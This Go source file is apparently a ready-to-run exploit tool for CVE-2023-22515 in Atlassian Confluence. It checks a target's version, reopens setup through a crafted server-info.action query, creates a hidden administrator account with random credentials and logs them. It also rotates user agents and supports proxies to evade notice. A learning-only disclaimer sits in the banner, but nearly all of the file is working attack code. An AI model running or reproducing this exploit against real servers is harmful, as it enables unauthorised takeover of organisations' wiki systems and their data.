CVE-2023-22515.go

package main

import (
	"crypto/tls"
	"flag"
	"fmt"
	"github.com/Masterminds/semver"
	"github.com/PuerkitoBio/goquery"
	"github.com/go-resty/resty/v2"
	log "github.com/sirupsen/logrus"
	"io"
	"math/rand"
	"net/http"
	"strings"
	"time"
)

var PROXIES string

func init() {
	// 配置日志格式
	log.SetFormatter(&log.TextFormatter{
		ForceColors:               true,
		EnvironmentOverrideColors: true,                  // 显示颜色
		TimestampFormat:           "2006-01-02 15:04:05", // 格式化时间
		FullTimestamp:             true,
		DisableLevelTruncation:    true,
	})

	// 设置日志级别为: Info
	log.SetLevel(log.InfoLevel)

}

func banner() {
	fmt.Println(`
	
	 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗       ██████╗ ██████╗ ███████╗ ██╗███████╗
	██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ╚════██╗╚════██╗██╔════╝███║██╔════╝
	██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝ █████╔╝███████╗╚██║███████╗
	██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝██╔═══╝ ██╔═══╝ ╚════██║ ██║╚════██║
	╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝      ███████╗███████╗███████║ ██║███████║
	 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝       ╚══════╝╚══════╝╚══════╝ ╚═╝╚══════╝

	@Auth: C1ph3rX13
	@Blog: https://c1ph3rx13.github.io
	@Note: 代码仅供学习使用，请勿用于其他用途
	`)
}

func clientConfig() *resty.Client {
	headers := map[string]string{
		"User-Agent":        generateRandomUserAgent(),
		"Accept":            "*/*",
		"X-Atlassian-Token": "no-check",
		"Content-Type":      "application/x-www-form-urlencoded",
	}

	// 配置 client
	client := resty.New().
		SetHeaders(headers).
		SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true}).
		SetTimeout(5 * time.Second).
		SetRedirectPolicy(resty.FlexibleRedirectPolicy(10))

	// 配置代理
	if PROXIES != "" {
		client.SetProxy(PROXIES)
	}

	return client
}

func generateRandomUserAgent() string {
	source := rand.NewSource(time.Now().UnixNano())
	random := rand.New(source)

	browsers := []string{
		"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
		"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0",
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15",
		"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edg/95.0.1020.30 Chrome/95.0.4638.54 Safari/537.36",
		"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Brave Chrome/95.0.4638.54 Safari/537.36",
		"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Vivaldi/5.0.2497.15 Chrome/95.0.4638.54 Safari/537.36",
		"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Opera/82.0.4227.0 Safari/537.36",
		"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Whale/2.10.123.42 Chrome/89.0.4389.128 Safari/537.36",
		"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Coc Coc/100.0.220 Chrome/96.0.4664.45 Safari/537.36",
	}

	return browsers[random.Intn(len(browsers))]
}

func generateRandomString(length int) string {
	source := rand.NewSource(time.Now().UnixNano())
	random := rand.New(source)

	letters := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
	randomLetters := make([]byte, length)
	for i := 0; i < length; i++ {
		randomLetters[i] = letters[random.Intn(len(letters))]
	}

	randomString := strings.ToLower(string(randomLetters))
	return randomString
}

func exp(target string, client *resty.Client) {
	settingsUrl := fmt.Sprintf("%s/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false", target)

	settingsResp, err := client.R().Get(settingsUrl)
	if err != nil {
		log.Errorf("settingsResp Request Error: %v", err)
	}
	defer func(body io.ReadCloser) {
		err := body.Close()
		if err != nil {
			log.Errorf("settingsResp body.Close() Error: %v", err)
		}
	}(settingsResp.RawBody())

	if settingsResp.StatusCode() == 200 && strings.Contains(settingsResp.String(), "success") {
		// 添加用户
		userUrl := fmt.Sprintf("%s/setup/setupadministrator.action", target)
		// 随机用户名、密码
		username := generateRandomString(6)
		password := generateRandomString(8)
		data := fmt.Sprintf("username=%s&fullName=%s&email=%s@localhost&password=%s&confirm=%s&setup-next-button=Next", username, username, username, password, password)
		userResp, err := client.R().
			SetBody(data).
			Post(userUrl)
		if err != nil {
			log.Errorf("userResp Request Error: %v", err)
		}
		defer func(body io.ReadCloser) {
			err := body.Close()
			if err != nil {
				log.Errorf("userResp body.Close() Error: %v", err)
			}
		}(userResp.RawBody())

		if userResp.StatusCode() == 200 && strings.Contains(userResp.String(), "Successful") {
			finishUrl := fmt.Sprintf("%s/setup/finishsetup.action", target)
			// 使用第二次添加用户响应包头部的 Set-Cookie 字段
			setCookie := userResp.RawResponse.Header.Get("Set-Cookie")
			cookies := &http.Cookie{
				Name:  "JSESSIONID",
				Value: setCookie,
			}
			// 发起完成设置请求
			finishResp, err := client.R().
				SetCookie(cookies).
				SetBody(nil).
				Get(finishUrl)
			if err != nil {
				log.Errorf("finishResp Request Error: %v", err)
			}
			defer func(body io.ReadCloser) {
				err := body.Close()
				if err != nil {
					log.Errorf("finishResp body.Close() Error: %v", err)
				}
			}(finishResp.RawBody())

			if finishResp.StatusCode() == 200 && strings.Contains(finishResp.String(), "complete") {
				log.Infof("Add Account: Username:%v & Password:%v", username, password)
			}
		}
	}
}

func poc(target string, client *resty.Client) bool {
	actionInfoUrl := fmt.Sprintf("%s/server-info.action", target)
	actionInfoResp, err := client.R().
		Get(actionInfoUrl)
	if err != nil {
		log.Fatalf("actionInfoResp Request Error: %v", err)
	}
	defer func(body io.ReadCloser) {
		err := body.Close()
		if err != nil {
			log.Fatalf("actionInfoResp body.Close() Error: %v", err)
		}
	}(actionInfoResp.RawBody())

	if actionInfoResp.StatusCode() == 200 && strings.Contains(actionInfoResp.String(), "success") {
		if checkVersion(actionInfoResp.String()) {
			log.Warningf("Vulnerable: [%v]", target)
			return true
		}
	}

	log.Fatalf("Not Vulnerable: [%v]", target)
	return false
}

func checkVersion(respBody string) bool {
	vulnerableVersions := []string{
		"8.0.0", "8.0.1", "8.0.2", "8.0.3", "8.0.4",
		"8.1.0", "8.1.1", "8.1.3", "8.1.4",
		"8.2.0", "8.2.1", "8.2.2", "8.2.3",
		"8.3.0", "8.3.1", "8.3.2",
		"8.4.0", "8.4.1", "8.4.2",
		"8.5.0", "8.5.1",
	}

	doc, err := goquery.NewDocumentFromReader(strings.NewReader(respBody))
	if err != nil {
		log.Warningf("Failed to get HTML DOM: %v", err)
	}

	// 匹配版本
	versionStr := doc.Find("#footer-build-information").Text()
	log.Warningf("Atlassian Confluence Version: %v", versionStr)

	if versionStr != "" {
		version, err := semver.NewVersion(versionStr)
		if err != nil {
			log.Warningf("Failed to parse version: %v", err)
			return false
		}

		for _, vulnerableVersionStr := range vulnerableVersions {
			vulnerableVersion, err := semver.NewVersion(vulnerableVersionStr)
			if err != nil {
				log.Warningf("Failed to parse vulnerable version: %v", err)
				continue
			}

			if version.Equal(vulnerableVersion) || version.LessThan(vulnerableVersion) {
				log.Warningf("Vulnerable version found: %v", versionStr)
				return true
			}
		}
	}

	log.Warningf("Version %v is not vulnerable", versionStr)
	return false
}

func run(target string) {
	client := clientConfig()
	if poc(target, client) {
		exp(target, client)
	}
}

func main() {
	banner()

	target := flag.String("t", "", "Target Url")
	proxy := flag.String("proxy", "", "Proxy Url")

	flag.Parse()

	if *target == "" {
		fmt.Println("Missing required arguments.")
		flag.Usage()
		return
	}

	if *proxy != "" {
		PROXIES = *proxy
	}

	run(*target)
}